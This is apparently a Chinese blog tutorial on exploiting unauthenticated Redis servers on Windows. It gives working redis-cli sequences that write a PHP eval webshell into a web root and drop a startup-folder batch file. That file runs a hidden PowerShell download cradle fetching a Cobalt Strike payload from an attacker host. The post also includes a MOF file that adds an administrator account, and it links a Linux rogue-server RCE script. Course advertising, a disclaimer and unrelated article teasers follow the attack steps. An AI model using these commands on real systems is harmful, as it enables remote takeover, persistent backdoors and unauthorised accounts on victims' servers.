windows环境redis未授权利用手法总结

2024-05-29 16:44

本文主要是介绍windows环境redis未授权利用手法总结,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Redis未授权产生原因

1.redis绑定在0.0.0.0:6379默认端口,直接暴露在公网,无防火墙进行来源信任防护。

2.没有设置密码认证,可以免密远程登录redis服务

 

漏洞危害

1.信息泄露,攻击者可以恶意执行flushall清空数据

2.可以通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件

3.若以root身份运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

利用方式01-写入webshell

1.获取web绝对路径,直接写入webshell

redis-cli.exe -h redis-server] -p 6379

redis redis-server> CONFIG SET dir c:/phpstudy/www

OK

redis redis-server> CONFIG SET dbfilename shell.php

OK

redis redis-server> set x  “<?php @eval($_POST['a']) ?>”

OK

redis redis-server> save

OK​

直接访问shell.php即可

利用方式02-启动项写入

windows下的开机启动项的目录为

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

写入方式有很多,这里我们使用Cobalt Strike来进行演示

先启动CS服务端 ,命令如下:

root@kali:~/cobaltstrike4.1# ./teamserver csip 123456

1607063251_5fc9d6d343a3cf96f6b71.png!small

在启动客户端,输入密码和地址

1607063268_5fc9d6e4e62256858c1d5.png!small

添加一个Listener 监听器

1607063289_5fc9d6f9317e4f5646eed.png!small

选择Attacks – Web Drive-By – Script Web Delivery,选择刚才添加的Listener

1607063296_5fc9d700dd724f8b4c9f5.png!small

1607063312_5fc9d710d5589c1688b0e.png!small

点击Launch之后生成如下代码

powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://cs地址:80/a'))\"

直接保存为1.bat即可

其中存在两个小细节,一个是由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn才能正常运行,还有一个是由于本身执行命令中也有双引号,因此需要加入转义

redis-cli.exe -h 目标ip -p 6379
redis 目标ip:6379>config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
redis 目标ip:6379> CONFIG SET dbfilename 1.bat
OK
redis 目标ip:6379>set x "/r/n/r/npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://csip:80/a'))\"/r/n/r/n
注意这里的双引号要转义,windwos路径的start menu中间一个空格
OK
redis 192.168.1.101:6379> save
OK

1607063466_5fc9d7aa14bd80dca6ffa.png!small

查看服务器启动项,发现正常写入命令

1607063480_5fc9d7b872dcf5ef3fa8b.png!small

重启目标机器,成功上线

1607063490_5fc9d7c2bf53cca7adc2c.png!small

1607063498_5fc9d7ca128ca027dfd0e.png!small

利用方式03-写入mof

如果由于不能重启机器也无法获取web目录,想到Mof提权,环境限制只能为win2003。

简单描述一下mof提权的原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其实就是有了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

也就是说在`c:/windows/system32/wbem/mof/`目录下的mof文件会每5秒自动执行一次,这样就不需要重启机器就能获取权限了。

首先将如下代码保存为admin.txt文件:

#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer   = $Consumer; Filter = $EventFilter; };

此处要执行的命令为添加名为admin的用户

1607063893_5fc9d95567ef852c49aeb.png!small

然后执行

(echo -e "nn"; cat admin.txt; echo -e "nn") > foo.txt

切换到redis目录,运行如下命令

1607063903_5fc9d95f0dcb62706fc84.png!small

过一会就看到用户添加成功了。(本地测试一直未成功,写入mof文件夹成功,但是执行一直到bad文件夹里)

补充一个linux下的利用方式:

在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

利用脚本如下

https://github.com/LoRexxar/redis-rogue-server

实战在生产环境下用还是会有很多问题的

  1. redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
  2. Ubuntu,Debian写计划任务反弹无用
  3. 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来
  4. 生产环境下用`KEY *` 这样的命令直接炸

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

 大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~  

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

这篇关于windows环境redis未授权利用手法总结的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1014075

相关文章

redis群集简单部署过程

《redis群集简单部署过程》文章介绍了Redis,一个高性能的键值存储系统,其支持多种数据结构和命令,它还讨论了Redis的服务器端架构、数据存储和获取、协议和命令、高可用性方案、缓存机制以及监控和... 目录Redis介绍1. 基本概念2. 服务器端3. 存储和获取数据4. 协议和命令5. 高可用性6.

Redis的数据过期策略和数据淘汰策略

《Redis的数据过期策略和数据淘汰策略》本文主要介绍了Redis的数据过期策略和数据淘汰策略,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一... 目录一、数据过期策略1、惰性删除2、定期删除二、数据淘汰策略1、数据淘汰策略概念2、8种数据淘汰策略

Windows设置nginx启动端口的方法

《Windows设置nginx启动端口的方法》在服务器配置与开发过程中,nginx作为一款高效的HTTP和反向代理服务器,被广泛应用,而在Windows系统中,合理设置nginx的启动端口,是确保其正... 目录一、为什么要设置 nginx 启动端口二、设置步骤三、常见问题及解决一、为什么要设置 nginx

Redis存储的列表分页和检索的实现方法

《Redis存储的列表分页和检索的实现方法》在Redis中,列表(List)是一种有序的数据结构,通常用于存储一系列元素,由于列表是有序的,可以通过索引来访问元素,因此可以很方便地实现分页和检索功能,... 目录一、Redis 列表的基本操作二、分页实现三、检索实现3.1 方法 1:客户端过滤3.2 方法

在Mysql环境下对数据进行增删改查的操作方法

《在Mysql环境下对数据进行增删改查的操作方法》本文介绍了在MySQL环境下对数据进行增删改查的基本操作,包括插入数据、修改数据、删除数据、数据查询(基本查询、连接查询、聚合函数查询、子查询)等,并... 目录一、插入数据:二、修改数据:三、删除数据:1、delete from 表名;2、truncate

Python中操作Redis的常用方法小结

《Python中操作Redis的常用方法小结》这篇文章主要为大家详细介绍了Python中操作Redis的常用方法,文中的示例代码简洁易懂,具有一定的借鉴价值,有需要的小伙伴可以了解一下... 目录安装Redis开启、关闭Redisredis数据结构redis-cli操作安装redis-py数据库连接和释放增

Python中连接不同数据库的方法总结

《Python中连接不同数据库的方法总结》在数据驱动的现代应用开发中,Python凭借其丰富的库和强大的生态系统,成为连接各种数据库的理想编程语言,下面我们就来看看如何使用Python实现连接常用的几... 目录一、连接mysql数据库二、连接PostgreSQL数据库三、连接SQLite数据库四、连接Mo

redis防止短信恶意调用的实现

《redis防止短信恶意调用的实现》本文主要介绍了在场景登录或注册接口中使用短信验证码时遇到的恶意调用问题,并通过使用Redis分布式锁来解决,具有一定的参考价值,感兴趣的可以了解一下... 目录1.场景2.排查3.解决方案3.1 Redis锁实现3.2 方法调用1.场景登录或注册接口中,使用短信验证码场

Redis 多规则限流和防重复提交方案实现小结

《Redis多规则限流和防重复提交方案实现小结》本文主要介绍了Redis多规则限流和防重复提交方案实现小结,包括使用String结构和Zset结构来记录用户IP的访问次数,具有一定的参考价值,感兴趣... 目录一:使用 String 结构记录固定时间段内某用户 IP 访问某接口的次数二:使用 Zset 进行

解读Redis秒杀优化方案(阻塞队列+基于Stream流的消息队列)

《解读Redis秒杀优化方案(阻塞队列+基于Stream流的消息队列)》该文章介绍了使用Redis的阻塞队列和Stream流的消息队列来优化秒杀系统的方案,通过将秒杀流程拆分为两条流水线,使用Redi... 目录Redis秒杀优化方案(阻塞队列+Stream流的消息队列)什么是消息队列?消费者组的工作方式每